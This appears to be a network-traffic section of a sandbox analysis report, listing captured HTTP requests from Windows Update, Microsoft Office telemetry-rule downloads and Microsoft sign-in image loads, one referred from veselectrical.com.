Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://veselectrical.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=YKWnBYS7D2bO6mt&MD=h95YpyFg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=YKWnBYS7D2bO6mt&MD=h95YpyFg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
